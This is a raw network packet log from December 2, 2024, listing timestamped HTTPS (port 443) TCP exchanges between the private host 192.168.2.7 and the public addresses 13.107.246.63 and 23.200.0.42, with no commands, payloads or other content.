Dec 2, 2024 01:35:36.722790003 CET	443	50006	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:36.722800016 CET	50006	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:36.722805977 CET	443	50006	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:36.783809900 CET	50012	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:36.783852100 CET	443	50012	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:36.783977032 CET	50012	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:36.801261902 CET	50012	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:36.801285982 CET	443	50012	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:36.821607113 CET	50013	443	192.168.2.7	23.200.0.42
Dec 2, 2024 01:35:36.821672916 CET	443	50013	23.200.0.42	192.168.2.7
Dec 2, 2024 01:35:36.821748972 CET	50013	443	192.168.2.7	23.200.0.42
Dec 2, 2024 01:35:36.821980000 CET	50013	443	192.168.2.7	23.200.0.42
Dec 2, 2024 01:35:36.821996927 CET	443	50013	23.200.0.42	192.168.2.7
Dec 2, 2024 01:35:36.834650040 CET	443	50009	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:36.836294889 CET	50009	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:36.836319923 CET	443	50009	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:36.836396933 CET	50009	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:36.836400986 CET	443	50009	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.102355957 CET	443	50010	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.134124994 CET	443	50007	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.140248060 CET	50010	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.140248060 CET	50010	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.140290976 CET	443	50010	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.140301943 CET	443	50010	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.141060114 CET	50007	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.141093969 CET	443	50007	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.141556978 CET	50007	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.141566038 CET	443	50007	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.205113888 CET	443	50011	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.244657993 CET	50011	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.244693995 CET	443	50011	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.245134115 CET	50011	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.245138884 CET	443	50011	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.289397001 CET	443	50009	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.292586088 CET	443	50009	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.292766094 CET	50009	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.306468010 CET	50009	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.306484938 CET	443	50009	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.306499004 CET	50009	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.306507111 CET	443	50009	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.334233999 CET	50014	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.334270954 CET	443	50014	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.334403038 CET	50014	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.360343933 CET	50014	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.360371113 CET	443	50014	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.555241108 CET	443	50010	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.558908939 CET	443	50010	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.559107065 CET	50010	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.567301989 CET	50010	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.567333937 CET	443	50010	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.567353964 CET	50010	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.567359924 CET	443	50010	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.569900036 CET	443	50007	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.573024988 CET	443	50007	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.573390007 CET	50007	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.614762068 CET	50007	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.614762068 CET	50007	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.614789963 CET	443	50007	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.614795923 CET	443	50007	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.640963078 CET	443	50011	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.641314030 CET	50015	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.641351938 CET	443	50015	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.641772985 CET	50015	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.644068956 CET	443	50011	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.644131899 CET	443	50011	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.644165039 CET	50011	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.644249916 CET	50011	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.644294024 CET	50016	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.644351006 CET	443	50016	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.644439936 CET	50016	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.655172110 CET	50011	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.655188084 CET	443	50011	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.655200005 CET	50011	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.655206919 CET	443	50011	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.655765057 CET	50015	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.655778885 CET	443	50015	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.658432961 CET	50016	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.658454895 CET	443	50016	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.678833961 CET	50017	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.678874016 CET	443	50017	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:37.679358006 CET	50017	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.696701050 CET	50017	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:37.696716070 CET	443	50017	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:38.045798063 CET	443	50013	23.200.0.42	192.168.2.7
Dec 2, 2024 01:35:38.050460100 CET	50013	443	192.168.2.7	23.200.0.42
Dec 2, 2024 01:35:38.050479889 CET	443	50013	23.200.0.42	192.168.2.7
Dec 2, 2024 01:35:38.050929070 CET	443	50013	23.200.0.42	192.168.2.7
Dec 2, 2024 01:35:38.060365915 CET	50013	443	192.168.2.7	23.200.0.42
Dec 2, 2024 01:35:38.060446024 CET	443	50013	23.200.0.42	192.168.2.7
Dec 2, 2024 01:35:38.060548067 CET	50013	443	192.168.2.7	23.200.0.42
Dec 2, 2024 01:35:38.107320070 CET	443	50013	23.200.0.42	192.168.2.7
Dec 2, 2024 01:35:38.531236887 CET	443	50013	23.200.0.42	192.168.2.7
Dec 2, 2024 01:35:38.531352043 CET	443	50013	23.200.0.42	192.168.2.7
Dec 2, 2024 01:35:38.531390905 CET	50013	443	192.168.2.7	23.200.0.42
Dec 2, 2024 01:35:38.550668001 CET	50013	443	192.168.2.7	23.200.0.42
Dec 2, 2024 01:35:38.550683022 CET	443	50013	23.200.0.42	192.168.2.7
Dec 2, 2024 01:35:38.648008108 CET	443	50012	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:38.660710096 CET	50012	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:38.660722971 CET	443	50012	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:38.661345959 CET	50012	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:38.661355019 CET	443	50012	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.101457119 CET	443	50012	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.104861975 CET	443	50012	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.105005980 CET	50012	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.120729923 CET	50012	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.120752096 CET	443	50012	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.120940924 CET	50012	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.120953083 CET	443	50012	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.147104025 CET	443	50014	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.161389112 CET	50014	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.161407948 CET	443	50014	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.164486885 CET	50014	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.164493084 CET	443	50014	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.188544035 CET	50018	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.188579082 CET	443	50018	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.188931942 CET	50018	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.204380035 CET	50018	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.204392910 CET	443	50018	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.424251080 CET	443	50015	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.434261084 CET	50015	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.434302092 CET	443	50015	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.435108900 CET	50015	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.435117960 CET	443	50015	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.467394114 CET	443	50016	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.474771976 CET	50016	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.474788904 CET	443	50016	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.476336956 CET	50016	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.476341963 CET	443	50016	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.547719955 CET	443	50017	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.566375017 CET	50017	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.566416979 CET	443	50017	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.566932917 CET	50017	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.566940069 CET	443	50017	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.596677065 CET	443	50014	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.600301981 CET	443	50014	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.600387096 CET	443	50014	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.600433111 CET	50014	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.600450993 CET	50014	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.634893894 CET	50014	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.634893894 CET	50014	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.634924889 CET	443	50014	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.634932995 CET	443	50014	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.676469088 CET	50019	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.676512003 CET	443	50019	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.680393934 CET	50019	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.686707020 CET	50019	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.686724901 CET	443	50019	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.863064051 CET	443	50015	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.865493059 CET	443	50015	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.865536928 CET	50015	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.865549088 CET	443	50015	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.865587950 CET	50015	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.901307106 CET	50015	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.901329041 CET	443	50015	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.901340961 CET	50015	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.901346922 CET	443	50015	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.911591053 CET	443	50016	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.914577961 CET	443	50016	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.914647102 CET	50016	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.917578936 CET	50016	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.917594910 CET	443	50016	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:39.917607069 CET	50016	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:39.917613983 CET	443	50016	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:40.001420021 CET	443	50017	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:40.004302979 CET	443	50017	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:40.004353046 CET	50017	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:40.009648085 CET	50020	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:40.009687901 CET	443	50020	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:40.009743929 CET	50020	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:40.011468887 CET	50021	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:40.011507034 CET	443	50021	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:40.011548996 CET	50021	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:40.013421059 CET	50017	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:40.013432980 CET	443	50017	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:40.013444901 CET	50017	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:40.013449907 CET	443	50017	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:40.016680002 CET	50022	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:40.016689062 CET	443	50022	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:40.016758919 CET	50022	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:40.069675922 CET	50020	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:40.069719076 CET	443	50020	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:40.069993019 CET	50021	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:40.070036888 CET	443	50021	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:40.070322990 CET	50022	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:40.070333004 CET	443	50022	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.051594019 CET	443	50018	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.068223953 CET	50018	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.068223953 CET	50018	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.068254948 CET	443	50018	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.068264008 CET	443	50018	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.470726967 CET	443	50019	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.499589920 CET	50019	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.499618053 CET	443	50019	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.500294924 CET	50019	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.500300884 CET	443	50019	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.504750013 CET	443	50018	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.508328915 CET	443	50018	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.508374929 CET	443	50018	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.508415937 CET	50018	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.508436918 CET	50018	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.508522034 CET	50018	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.508522034 CET	50018	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.508543968 CET	443	50018	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.508553028 CET	443	50018	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.569330931 CET	50024	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.569387913 CET	443	50024	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.569574118 CET	50024	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.624809980 CET	50024	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.624840021 CET	443	50024	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.787817955 CET	443	50022	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.793926001 CET	50022	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.793926001 CET	50022	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.793945074 CET	443	50022	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.793960094 CET	443	50022	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.850250006 CET	443	50021	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.865681887 CET	50021	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.865706921 CET	443	50021	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.866180897 CET	50021	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.866185904 CET	443	50021	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.914946079 CET	443	50019	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.915270090 CET	443	50020	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.918159962 CET	443	50019	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.918297052 CET	50019	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.920118093 CET	50019	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.920141935 CET	443	50019	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.920152903 CET	50019	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.920159101 CET	443	50019	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.923491001 CET	50020	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.923502922 CET	443	50020	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.923995972 CET	50020	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.923999071 CET	443	50020	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.995184898 CET	50025	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:41.995222092 CET	443	50025	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:41.995292902 CET	50025	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.035022020 CET	50025	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.035036087 CET	443	50025	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.223717928 CET	443	50022	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.226857901 CET	443	50022	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.226898909 CET	443	50022	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.226924896 CET	50022	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.226958990 CET	50022	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.231601000 CET	50022	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.231618881 CET	443	50022	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.231628895 CET	50022	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.231638908 CET	443	50022	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.265599012 CET	50026	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.265636921 CET	443	50026	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.265711069 CET	50026	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.270925045 CET	50026	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.270937920 CET	443	50026	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.296974897 CET	443	50021	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.296998024 CET	443	50021	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.297094107 CET	50021	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.297112942 CET	443	50021	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.300637960 CET	443	50021	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.300734997 CET	50021	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.312386990 CET	50021	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.312397957 CET	443	50021	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.312410116 CET	50021	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.312414885 CET	443	50021	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.368772030 CET	443	50020	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.368792057 CET	443	50020	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.368840933 CET	50020	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.368855953 CET	443	50020	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.369292974 CET	443	50020	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.369338989 CET	50020	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.384593964 CET	50027	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.384612083 CET	443	50027	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.384685993 CET	50027	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.385724068 CET	50020	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.385750055 CET	443	50020	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.385760069 CET	50020	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.385766029 CET	443	50020	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.392563105 CET	50027	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.392575979 CET	443	50027	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.395840883 CET	50028	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.395878077 CET	443	50028	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:42.395957947 CET	50028	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.396136045 CET	50028	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:42.396152020 CET	443	50028	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:43.405464888 CET	443	50024	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:43.432239056 CET	50024	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:43.432276011 CET	443	50024	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:43.433854103 CET	50024	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:43.433860064 CET	443	50024	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:43.821367979 CET	443	50025	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:43.852297068 CET	443	50024	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:43.855420113 CET	443	50024	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:43.855469942 CET	50024	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:43.959323883 CET	50025	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:43.981708050 CET	50025	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:43.981723070 CET	443	50025	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:43.982305050 CET	50025	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:43.982310057 CET	443	50025	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:43.983366966 CET	50024	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:43.983396053 CET	443	50024	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:43.985428095 CET	443	50026	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:43.985743999 CET	50026	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:43.985758066 CET	443	50026	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:43.986188889 CET	50026	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:43.986195087 CET	443	50026	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.015270948 CET	50029	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.015331984 CET	443	50029	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.015425920 CET	50029	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.035043955 CET	50029	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.035073996 CET	443	50029	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.111176968 CET	443	50028	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.150216103 CET	50028	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.150238037 CET	443	50028	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.150763988 CET	50028	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.150770903 CET	443	50028	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.172914028 CET	443	50027	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.295900106 CET	50027	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.306879997 CET	443	50025	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.310504913 CET	443	50025	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.310566902 CET	50025	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.310590982 CET	443	50025	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.310643911 CET	443	50025	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.310817957 CET	50025	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.420607090 CET	443	50026	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.423749924 CET	443	50026	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.423844099 CET	50026	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.429771900 CET	50027	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.429790974 CET	443	50027	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.430569887 CET	50027	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.430574894 CET	443	50027	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.545319080 CET	443	50028	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.548959017 CET	443	50028	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.550340891 CET	50028	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.591938019 CET	50025	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.591959000 CET	443	50025	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.632778883 CET	50026	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.632780075 CET	50026	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.632814884 CET	443	50026	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.632824898 CET	443	50026	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.660650969 CET	50028	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.660680056 CET	443	50028	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.660691023 CET	50028	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:35:44.660697937 CET	443	50028	13.107.246.63	192.168.2.7
Dec 2, 2024 01:35:44.680871010 CET	50030	443	192.168.2.7	13.107.246.63
